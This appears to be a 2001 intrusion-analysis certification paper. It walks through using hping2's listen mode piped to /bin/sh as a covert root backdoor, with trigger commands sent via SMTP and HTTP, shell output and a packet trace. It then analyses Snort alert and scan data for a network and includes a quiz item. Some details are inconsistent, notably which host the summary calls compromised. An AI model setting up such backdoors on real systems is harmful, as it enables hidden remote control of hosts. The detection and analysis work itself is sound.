System administrators should be more careful when installing third-party software. The organization should consider tighter control over software that can be installed on its hosts, perhaps via a policy or recommended guidelines that offer centralized support and testing for approved software.

10. Test Question

Which of the following destination ports is most likely to be used when communicating with an IRC server?

1. 666
2. 667
3. 6666
4. 6667

Answer: D. Though port 6666 is sometimes used for communicating with IRC servers, port 6667 is used most commonly.

Evaluate an Attack

1. Attack Tool Identification

hping2 is a powerful and flexible tool for crafting ICMP/UDP/TCP packets. This programs allows the user to set network and transport-layer header fields, as well as to define arbitrary packet data contents. Various uses for hping2 are described at its Web site at http://www.hping.org/. This analysis concentrates on using hping2 for creating a backdoor to a compromised system.

2. Description of Attack

One of the typical ways to plant a backdoor on a compromised host is to replace an executable of an existing daemon, such as telnetd or httpd with a trojanized version that gives preferential treatment to the attacker. This is not easy to detect, but integrity assessment tools such as Tripwire go a long way in helping administrators find trojanized files. Another way to gain backdoor access to a system is to start a new daemon on the compromised host so that it listens on a particular port and awaits instructions from the attacker. Trojans such as BackOrifice and NetBus operate in this fashion, and can be detected by periodically monitoring which ports are open on the system.

hping2 offers a more stealthy way of planting a backdoor by starting hping2 on the compromised host in listen mode so that it examines all IP traffic addressed to the host:

compromised# hping2 --listen mysecret

In this case, the hping2 will examine every packet accepted by the host, and dump all bytes that follow the "mysecret" signature string to standard output. If the attacker wishes to set up a backdoor that executes commands on the compromised host, then the following syntax can be used to pipe standard output to shell. The attacker would need to execute commands blindly, or to redirect shell output via another program such as netcat in an open outbound direction.

compromised# hping2 --listen mysecret | /bin/sh

It does not matter which application or transport-layer protocol is used to carry packets to the compromised host over IP, as long as the system accepts the packet. For instance, after starting the hping2 process, the attacker would be able to execute a command on the compromised host over SMTP if the host is a publicly accessible mail server:

attacker$ telnet compromised.net 25
Trying 10.10.10.10...
Connected to compromised.net.
Escape character is '^]'.
220 compromised.net ESMTP Postfix
quit mysecretls;
221 Bye
Connection closed by foreign host.

In this case, the hping2 noticed the "mysecret" signature string in the packet, and executed "ls;" on the compromised host with the privileges of the hping2 process (typically root). Note that the remote command was passed together with the valid "quit" SMTP command to minimize the chance of generating an error message on the compromised host. Even though hping2 does not remove its signature string from the stream, the SMTP software (Postfix, in this case) accepted the last command anyway without generating any errors.

Because hping detects its signature string without regard to an upper-layer protocol, the backdoor command can be passed, for example, via a telnet-based login password. SSH logins cannot be used as covert channels in this way because SSH encrypts and does not decrypt login information until after hping2 examined it. If the backdoor was planted on the Web server, then the attacker could execute commands via HTTP by requesting appropriately named URLs. This method, however, will generate "File does not exist" errors in the Web server's logs. HTTPS connections cannot be used for this purpose, because, much like SSH, SSL prevents hping2 from noticing the signature string in the stream.

To divert attention from backdoor activity on a Web server, an attacker might issue a what looks like a CGI exploitation attempt. Such exploits often supply the command to be executed as part of the URL, and attempt to fool the Web server into executing it by passing the command as a parameter to a vulnerable program. In this case, an analyst might be glad to see that the targeted URL was not found on the Web server. However, the actual target would be the hping2 process running on the server, not the vulnerable program addressed in the request.

The attacker may also send the command by embedding it in the data field of an ICMP packet, if ICMP traffic can reach the targeted server. In this case, hping2 on the attacker's host can be used to craft the client-side packet, using the "--sign" parameter to append the desired string to the data portion of the crafted packet.

3. Network Trace of Attack

The following trace documents remote execution of a command "ls" on the compromised Web server by starting hping2 in listen mode as described above, and then connecting to the server with a Web browser using the URL "http://compromised.net/mysecretls;" Note that this is a very dirty way of executing the command, since the browser appends HTTP parameters to the URL that are then passed to /bin/sh on the compromised host.

The attacker's browser on the remote client displays:

Not Found
The requested URL /mysecretls; was not found on this server.

The compromised server executes the following without returning any output to the attacker. Note errors at the bottom due to shell's inability to interpret HTTP headers that follow the command:

# hping2 --listen mysecret | /bin/sh
hping2 listen mode
.cshrc    bin       etc        root      sys      usr
.profile  dev       home       sbin      tmp      var
: not foundtdin>[1]: HTTP/1.1
/bin/sh: <stdin>[2]: Accept:: not found
/bin/sh: <stdin>[3]: Accept-Language:: not found
/bin/sh: <stdin>[4]: Accept-Encoding:: not found
/bin/sh: <stdin>[5]: syntax error: `(' unexpected

The error log on the Web server records an attempt to access a file that does not exist:

[Tue Jul 16 13:21:05 2000] [error] [client attacker.com] File does not exist: /usr/local/www/htdocs/mysecretpwd;

The analyst used Snort to capture this traffic. Note that to an IDS the backdoor channel looks much like normal HTTP traffic:

07/16-13:21:05.863430 attacker.com:1605 -> compromised.net:80
TCP TTL:117 TOS:0x0 ID:30523 DF
*****PA* Seq: 0x6832D383 Ack: 0x58A8F34 Win: 0x2400
47 45 54 20 2F 6D 79 73 65 63 72 65 74 6C 73 3B GET /mysecretls;
20 48 54 54 50 2F 31 2E 31 0D 0A 41 63 63 65 70 HTTP/1.1..Accep
74 3A 20 69 6D 61 67 65 2F 67 69 66 2C 20 69 6D t: image/gif, im
61 67 65 2F 78 2D 78 62 69 74 6D 61 70 2C 20 69 age/x-xbitmap, i
6D 61 67 65 2F 6A 70 65 67 2C 20 69 6D 61 67 65 mage/jpeg, image
2F 70 6A 70 65 67 2C 20 61 70 70 6C 69 63 61 74 /pjpeg, applicat
69 6F 6E 2F 76 6E 64 2E 6D 73 2D 70 6F 77 65 72 ion/vnd.ms-power
70 6F 69 6E 74 2C 20 61 70 70 6C 69 63 61 74 69 point, applicati
6F 6E 2F 76 6E 64 2E 6D 73 2D 65 78 63 65 6C 2C on/vnd.ms-excel,
20 61 70 70 6C 69 63 61 74 69 6F 6E 2F 6D 73 77 application/msw
6F 72 64 2C 20 61 70 70 6C 69 63 61 74 69 6F 6E ord, application
2F 78 2D 63 6F 6D 65 74 2C 20 2A 2F 2A 0D 0A 41 /x-comet, */*..A
63 63 65 70 74 2D 4C 61 6E 67 75 61 67 65 3A 20 ccept-Language:
65 6E 2D 75 73 0D 0A 41 63 63 65 70 74 2D 45 6E en-us..Accept-En
63 6F 64 69 6E 67 3A 20 67 7A 69 70 2C 20 64 65 coding: gzip, de
66 6C 61 74 65 0D 0A 55 73 65 72 2D 41 67 65 6E flate..User-Agen
74 3A 20 4D 6F 7A 69 6C 6C 61 2F 34 2E 30 20 28 t: Mozilla/4.0 (
63 6F 6D 70 61 74 69 62 6C 65 3B 20 4D 53 49 45 compatible; MSIE
20 35 2E 30 31 3B 20 57 69 6E 64 6F 77 73 20 4E 5.01; Windows N
54 20 35 2E 30 29 0D 0A 48 6F 73 74 3A 20 63 6f T 5.0)..Host: co
6D 70 72 6f 6d 69 73 65 64 2E 6E 65 74 OD OA OD mpromised.net...
OA 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B ...Connection: K
65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A eep-Alive....

"Analyze This" Scenario

1. Analysis Methodology

As part of this assignment, analysts were presented with approximately 545,000 event records, and were asked to analyze the data, paying particular attention to possible compromised systems and network problems. To make sense of this amount of information, the analyst concentrated on hosts that were most active in the data set. This involved processing information about most active source and destination hosts, as well as about systems that communicated with these hosts.

To ease access to event information, the data set was parsed using custom-written perl scripts, and saved into several Berkley Database (BDB) files. During this process, a unique identifier was assigned to each alert, and the BDB files were indexed by this identifier. These scripts are available from the analyst's site: init.pl to initialize the environment, snorta-txt2bdb to parse Snort alert files, and snorts-txt2bdb.pl to parse Snort scan detection files. These, along with other script mentioned in this report, were written in a quick and dirty way, and are not meant for general use without serious alterations.

Then, several scripts were written to correlate BDB information by source and destination host, by alert name, by activity originating from the home network MY.NET, as well as by date of activity. Also, several scripts were written to extract information about relating to a specific value of these fields, to be used during the analysis. Most of these scripts can be downloaded as correlate.tgz from the analyst's site, and are very similar to one another. Time permitting, they should be combined into a single program.

Correlated files were imported into Microsoft Excel, where they were sorted and examined with the help of the AutoFilter function. As the information was examined, the analyst recorded suspicious activity using a inter-relational information organizer called called Personal Brain. To see a snapshot of the program in action, though without accompanying descriptions, you may also view a sample still image of event relationships in Adobe Acrobat format. (You will probably need to zoom in to see certain details.)

Data files supplied for analysis were in two primary formats: Snort alerts, and Snort scan reports. Since these two data sets were likely to provide different perspectives on the same event, they were analyzed separately, and later correlated manually.

2. Top Alert Destination Hosts

The following hosts were mentioned as destinations in the largest number of alerts: MY.NET.253.105, MY.NET.217.2, MY.NET.253.41, MY.NET.100.230. The table below represents their ranking, and is also available as a chart from the analyst's site.

MY.NET.253.105 ranked as #1 among destination hosts for alerts, totaling 22118 alerts. This by far exceeded the closest contender in this category, which was mentioned as a destination host in mere 4197 alerts. Throughout May, MY.NET.253.105 was targeted by 128.231.171.123, which ranked #6 among source hosts for alerts for this reason, on TCP port 8080 (http-proxy). Overall, a variety of different external hosts targeted MY.NET.253.105 on port 8080, probably using it as a Web proxy server. The host was also targeted on TCP port 21 (ftp) by 159.226.139.44 at 5/31 19:59, on TCP port 25 (smtp) by 212.209.122.1 at 5/22 9:00:24, and on TCP port 1080 (socks) by 134.133.51.212 at 6/20 14:44. This activity suggests that MY.NET.253.105 acting as a publicly accessible Web proxy server. Though there is some chance that this host also proxied services such as ftp, smtp, and socks, the number of connections seen in the data set does not reinforce this possibility.

MY.NET.217.2 ranked as #2 among destination hosts for alerts because of 4197 alerts specifying "Attempted Sun RPC high port access." These events are attributed to 205.188.153.100, which targeted port 32771 (ruserd) on MY.NET.217.2 from port 4000 almost non-stop from 5/27 22:47:22 until 05/29 00:53:12. Port 32771 is often targeted by attack exploiting SUN RPC vulnerabilities. However, such vulnerabilities are typically exploited via buffer overflows, which do not require several days to work. The possibility of an attack is further decreased due to the history of 205.188.153.100, which is one of the primary sites that hosts icq.mirabilis.com, used by a popular instant messaging software ICQ. ICQ servers seem to listen on port 4000. Additionally, several mentions of 205.188.153.100 activity can be found on the Web. In all cases, traffic is originates from UDP port 4000 and targets a high UDP port. (See details below.)

Connections from 205.188.153.100 suggest that MY.NET.217.2 is used as an ICQ client. Additionally it is acts as an occasional IRC client, due to connections originating from 207.114.4.46, which scans for proxy servers on behalf of IRC servers belonging to undernet.org, as well as from 216.176.130.250, which is an IRC server for DALnet. Both of these hosts attempted to connect to port 1080 (socks) on MY.NET.217.2 on 6/22 and 6/23. 207.114.4.46 justifies its activities by stating that it scans for vulnerable Wingate and Proxy servers as a service to its IRC users. This activity is commonly seen on the Web. (See details below.)

MY.NET.253.41 ranked as #3 alert destination, with the majority of the 4176 alerts attributed to several hosts in the 159.226.0.0 network. These addresses are tagged by the Watchlist 000222 NET-NCFC alert because they belong to the Computer Network Center Chinese Academy of Sciences. These hosts contacted MY.NET.253.41 on port 25 (smtp) throughout the data set. This suggests that MY.NET.253.41 acts as a mail server, and was used in this function by Chinese hosts. It is likely that other systems sent mail to MY.NET.253.41, but they were not picked up as a false positive by Snort. Lack of reported malicious activity from MY.NET.253.41 indicates that the host is acting normally, and is not compromised.

MY.NET.100.230 ranked #4 alert destination also because the majority of its 3462 alerts were associated with the Computer Network Center Chinese Academy of Sciences. Throughout the monitored period, MY.NET.100.230 acted as mail client to various hosts in the 159.226.0.0 network, placed on the NET-NCFC watchlist. This can be deduced alert traffic originating from a NET-NCFC host with the source port 25 (smtp), and targeting high-numbered ports above 30000. This pattern suggests that MY.NET.100.230 acted as a mail client, but Snort only captured one half of the relevant conversation. Such mail-related traffic triggered several alerts relating to a Windows version of Trinoo, since destination ports on MY.NET.100.230 were 35555 and 34555. Although these ports are often used by the Windows version of Trinoo, these connections originated from port 25, and can be considered false positives because of the way they blend in with the rest of mail-related traffic. MY.NET.100.230 was also hit as part of network-wide scans for DNS services from 208.220.120.13, 204.60.176.2, and 24.13.87.239. There is no evidence to indicate that these connection attempts aimed at port 53 (dns) were targeting MY.NET.100.230 specifically.

3. Top Alert Source Hosts

The following hosts were mentioned as sources in the largest number of alerts: 202.38.128.188, MY.NET.253.12, 204.60.176.2, 159.226.45.3, 142.150.225.137, 128.231.171.123. The table below represents their ranking, and is also available as a chart from the analyst's site.

202.38.128.188 ranked as #1 among alert source hosts, because it launched a network-wide scan of MY.NET.0.0 on 6/1 from 1:59:13 until 2:38:27 that generated 22338 alerts. This scan was also seen by Snort's scan detection mechanism, and ranked 202.38.128.188 as #5 among scan source hosts. This was a SYN scan targeting TCP port 8080 (http-proxy), with source port values ranging from 1025 to 5000. This activity made 6/1 the busiest alert day in the data set, with the total of 29230 alerts from various hosts. (The chart comparing alert days is available from the analyst's site.)

MY.NET.253.12 ranked as #2 among alert source hosts, generating a total of 18869 alerts, primarily because of it scanning activity, which also ranked it as #2 among scan source hosts located on the MY.NET network. The busiest scan commenced on 05/27 at 23:44:47 and continued with several interruptions until 23:52:13 on 6/01. This network scan targeted MY.NET.16.0, MY.NET.19.0, MY.NET.101.0, and MY.NET.102.0 networks on TCP ports ports 80 (http), 1080 (socks), and 32771 (rusersd). The first two ports are commonly used to proxy Web connection, and the last one is often targeted when exploiting SUN RPC vulnerabilities. During the network scan, several hosts were also fingerprinted to determine their Operating System: MY.NET.14.1, MY.NET.16.2, MY.NET.19.10, MY.NET.101.1, MY.NET.101.89, MY.NET.101.90, MY.NET.101.115, MY.NET.101.117, MY.NET.101.140, MY.NET.101.141, MY.NET.101.142, MY.NET.101.158. The selective nature of the fingerprinting attempts suggests that these hosts were running at least one of the services that the network was scanned for, or simply that they were "alive" during the scan. Because of the way fingerprinting was orchestrated, it is most likely that nmap was the tool used to perform the scan.

Coincidentally, most of the hosts fingerprinted by MY.NET.253.12 as part of the network scan were mentioned in a scan report that suggested that MY.NET.1.3 was scanning the network from a source port UDP 53. That report caused MY.NET.1.3 to rank as #1 among scan source hosts located on the MY.NET network. However, it was most likely a false positive, indicating that MY.NET.1.3 is a heavily loaded DNS server. Consequentially, most of the hosts fingerprinted in a network scan by MY.NET.253.12 were DNS clients to MY.NET.1.3.

MY.NET.253.12 was also seen issuing a TCP port scan that targeted MY.NET.14.1 and ended with an NMAP-based fingerprint attempt. This caused MY.NET.14.1 to rank as #5 among scan destination hosts. No other abnormal activity is associated with MY.NET.14.1 that would help determine the reason for targeting that specific host.

Due to this activity, it is possible that MY.NET.253.12 is a compromised host that may be used to launch attacks against other systems on MY.NET. However, because the host's activity has been limited to scanning, and is tied to systems mentioned in other Snort events, it is also possible that MY.NET.253.12 was used by the security analyst on MY.NET to investigate suspicious events.

204.60.176.2 ranked as #3 among alert source hosts, generating a total of 13619 alerts. Most of these can be attributed to a network-wide SYN + FIN scan that this host issued at 6/13 between 1:30:39 and 1:52:15, targeting many hosts throughout MY.NET.0.0. Packets from this scan had source and destination ports equal to 53 (dns), and were probably meant to locate active DNS servers on the network. A very similar scan was issued by 142.150.225.137, which ranked as #5 among alert source hosts for the total of 5066 alerts. This host also scanned most of MY.NET.0.0 using SYN + FIN packets with source and destination ports of 53 earlier on 05/22 from 08:38:57 till 09:00:32.

159.226.45.3 ranked as #4 among alert source hosts for the total of 5066 alerts. This host was tagged primarily because it falls under Watchlist 000222 NET-NCFC for its association with the Computer Network Center Chinese Academy of Sciences. Snort alerts suggest that this host acted as a telnet server to MY.NET.162.121 on 5/22, 5/25, and 6/01, as well as to MY.NET.163.32 on 6/13. It also seemed to act as a mail client to MY.NET.253.41, MY.NET.253.42, MY.NET.253.43, and MY.NET.6.7 throughout the monitored time period. Consequentially, this marks these hosts as mail servers on MY.NET. If associations with NCFC are considered problematic by the organization, then this activity may need to be investigated further, depending on the organization's policy.

128.231.171.123 ranked as #6 among alert source hosts, with the total of 4224 alerts that it triggered for connecting to MY.NET.253.105 on port 8080 (http-proxy). Note that MY.NET.253.105 is ranked as #1 destination host for alerts, and was discussed above. This activity reinforces the assessment that MY.NET.253.105 is a publicly accessible Web proxy server.

4. Top Scan Destination Hosts

The following hosts were mentioned as destinations in the largest number of scan reports: MY.NET.101.89, MY.NET.70.234, MY.NET.179.78, MY.NET.97.73, MY.NET.14.1, and MY.NET.97.149. The table below represents their ranking, and is also available as a chart from the analyst's site.

MY.NET.101.89 ranked as #1 scan destination host for the total of 4114 scan records. Snort scan reports suggest that this host was port-scanned by MY.NET.1.3 throughout the monitored time period, and by MY.NET.1.4 on 6/17. The pattern of activity and its source port 53 (dns) indicated that these reports are false-positives, and simply mean that MY.NET.101.89 acted as a busy DNS client to these servers that supposedly scanned. This activity also caused MY.NET.1.3 to rank as #1 among scan source hosts from the MY.NET network, and reinforces the assessment made earlier during the analysis of MY.NET.253.12 that MY.NET.1.3 is a DNS server. (It also acts as an time server, since MY.NET.101.89 was reported to have been "port scanned" from this server with the source port of 123 (ntp) throughout the monitored time period.) MY.NET.1.4 ranked as #3 among scan source hosts from the MY.NET network for this reason, and is probably acts as a secondary DNS server. This activity is further reinforced by false-positive scan reports that tie MY.NET.1.4 to DNS clients MY.NET.101.99, MY.NET.101.116, MY.NET.101.89, and MY.NET.101.53.

MY.NET.70.234 ranked as #2 scan destination host, with the total of 2238 scan records. This is attributed primarily to the activity of 64.82.86.111, which scanned TCP ports 1 through 256 on MY.NET.70.234 on 5/25 16:01:03-16:08:51. Overall, MY.NET.70.234 is a heavily targeted host, with probes sent from various external hosts throughout the monitored time period. Most of such probes were SYN + FIN packets with source and destination ports 53 (dns). Some targeted ports 8080 (htto-proxy), 98 (linuxconf), and others had source ports indicating activity from Windows-based clients. This suggests that MY.NET.70.234 may be an active DNS server, and that it should be carefully monitored for further activity.

MY.NET.179.78 ranked as #3 scan destination host, mentioned in the total of 2231 scan records primarily due to activity from 24.13.123.8. This host port-scanned MY.NET.179.78 on two separate occasions: 6/12 21:42-21:46 and 6/23 12:55:15-12:55:40. In both cases, the highest hit ports matched those listed at the bottom of the nmap-services file. This suggests that the attacker used nmap to orchestrate the scan. MY.NET.179.78 was also hit on ports 53 (dns), 8080 (http-proxy), 79 (finger), and 109 (pop2) by various external hosts throughout the monitored time period. Apparent active targeting suggests that this host might be running as a popular server, such as DNS or Web proxy, and should be monitored carefully for further activity.

MY.NET.97.73 ranked as #4 scan destination host, with the total of 1252 scan reports, primarily due to apparent false-positive scanning activity from 152.163.206.134 with the source port of UDP 53. This pattern suggests that MY.NET.97.73 was acting as a DNS client to 152.163.206.134, which is unusual because this DNS server is external to MY.NET. Various ports on MY.NET.97.73 were also hit throughout the monitored time period in a manner similar to MY.NET.179.78 above, and suggests that MY.NET.97.73 might also be running as a popular server and should be monitored for further activity.

MY.NET.14.1 ranked as #5 scan destination host, with the total of 1146 scan reports, primarily because it was targeted in a port scan by MY.NET.253.12 discussed above. It was also fingerprinted by that host as part of a network-wide scan, though not enough data is present to infer the purpose of MY.NET.14.1 on the MY.NET network.

MY.NET.101.192 ranked as #6 scan destination host, triggering a total of 3221 scan reports primarily due to "SNMP public access" targeting port 161 (snmp) throughout the monitored time period by various hosts on MY.NET.97 subnet. This suggests that MY.NET.101.192 acts as an SNMP-based monitoring server, and is using a well known community string "public." This host should be investigated and the community string should be changed.

5. Top Scan Source Hosts

The following hosts were mentioned as sources in the largest number of scan reports: 24.2.169.101, 202.235.50.12, 208.220.120.13, 24.13.87.239, and 202.38.128.188. The table below represents their ranking, and is also available as a chart from the analyst's site.

24.2.169.101 ranked as #1 scan source host with the total of 65864 scan records. This host issued two network scans against MY.NET, both targeting TCP port 27374, which is used by version 2.1 of the SubSeven trojan. 24.2.169.101 was looking for infected systems on 05/26 21:04:24-21:43:04, targeting MY.NET.60.1-MY.NET.232.254, as well as on 06/01 14:20:31-15:00:41, targeting MY.NET.1.3 - MY.NET.150.253. Network-wide scans for the SubServen trojan are commonly seen and reported on the Internet.

202.235.50.12 ranked as #2 scan source host with the total of 30363 scan records. This host issued its first scan on 5/27 1:42:06-2:03:36, targeting TCP port 53 (dns) and covering primarily odd destination addresses throughout MY.NET.0.0. In its second scan on 6/17 22:23-22:44:33 the host was targeting TCP port 8080 (http-proxy) and incrementing destination addresses sequentially throughout MY.NET.0.0. This attack pattern is discussed in greater detail above in Analysis #1 of the Network Detects assignment. Host 202.235.50.12 is a common offender, and has been reported performing similar scans on the Internet on numerous occasions. (See details below.)

208.220.120.13 ranked as #3 among scan source hosts with the total of 23391 scan records. This is attributed to a network-wide SYN + FIN scan that this host issued to MY.NET.0.0 on 6/5 1:37:24-1:58:59. Source and destination ports for these packets were TCP 53 (dns). As part of this scan, several hosts were also targeted with a UDP packet to port 53 and a TCP SYN packet to port 53, which suggests that these hosts might be DNS servers, or were simply "alive" during the scan. Host 208.220.120.13 was previously reported connecting to a closed port 79 (finger) on 6/4 at http://www.sans.org/y2k/060800.htm.

24.13.87.239 ranked as #4 among scan source hosts with the total of 21022 scan records. This host issued a network-wide SYN scan to TCP prot 53 (dns) at 6/4 16:19:13-16:39:25, covering most of MY.NET.0.0. The scan was immediately followed by a selective connection attempts to UDP port 53 at 6/4 16:39:32-16:39:37. Some of the followed-up hosts were the same as in the selective scan by 208.220.120.13 above, suggesting that these hosts might be DNS servers, or were "alive" during both scans.

202.38.128.188 ranked as #5 among scan source host with the total number of 20762 scan records. This is consistent with data presented by Snort's alert generation engine, which ranked this host as #1 among source hosts for alerts. As discussed above, this prominent placement is attributed to the network-wide scan for TCP port 8080 (http-proxy).

6. Scan Sources from MY.NET

During the analysis, special attention was paid to scans originating from hosts from the MY.NET network, since this activity might be indicative of system compromises. Four such hosts were picked up by Snort: MY.NET.1.3, MY.NET.253.12, MY.NET.1.4, and MY.NET.100.164. The table below represents their ranking, and is also available as a chart from the analyst's site.

Both MY.NET.1.3 and MY.NET.1.4 were discussed earlier as targeting MY.NET.101.89 in a port scan from source port 53. These reports seem to be false positives, and suggest that MY.NET.1.3 and MY.NET.1.4 are heavily-loaded DNS servers. Host MY.NET.100.164 seemed to exhibit similar behavior when communicating with MY.NET.101.99; therefore, MY.NET.100.164 might be a DNS server as well.

Host MY.NET.253.12 was also discussed earlier in the context of network-wide scans against MY.NET. While this could be a compromised system, the nature its behavior suggests that it may also be a workstation used by a security analyst to investigate suspicious events.

7. Summary

The following table lists all hosts that were mentioned above as most active with respect to available Snort alert and scan report data:

As mentioned in the earlier discussion, the most likely compromised host on the MY.NET network is MY.NET.253.105, though some information suggests that this might be a workstation belonging to a security analyst. MY.NET.253.105 seems to act as a publicly accessible Web proxy server. MY.NET.1.3 and MY.NET.1.4 are most likely heavily loaded DNS servers. Other systems on MY.NET, targeted in network scans seem to provide DNS services as well. MY.NET.70.234 and MY.NET.179.78 are often-targeted servers, and might be a DNS/proxy servers. MY.NET.97.73 seems to be a client to an external DNS server 152.163.206.134, which is unusual. MY.NET.14.1 was targeted by a port scan, but not enough data was available to infer its purpose—this system should be investigated further. MY.NET.101.192 seems to provide SNMP services using a guessable community name, and should be reconfigured.

Some of the hosts mentioned in Snort events are actively participating in information exchange with external organizations via ICQ, HTTP, and SMTP. Several internal hosts provide SMTP services to hosts belonging to the Computer Network Center Chinese Academy of Sciences, and act as clients to some of those systems as well. Several external systems that targeted hosts on MY.NET, in particular 202.235.50.12 and 208.220.120.13, are notoriously malicious, and should be watched out for. This network is being scanned often, and should be monitored diligently and extensively.

Post-Scriptum

This paper was written in 2001. I revised it in January 2005 to update some of the links that were no longer valid.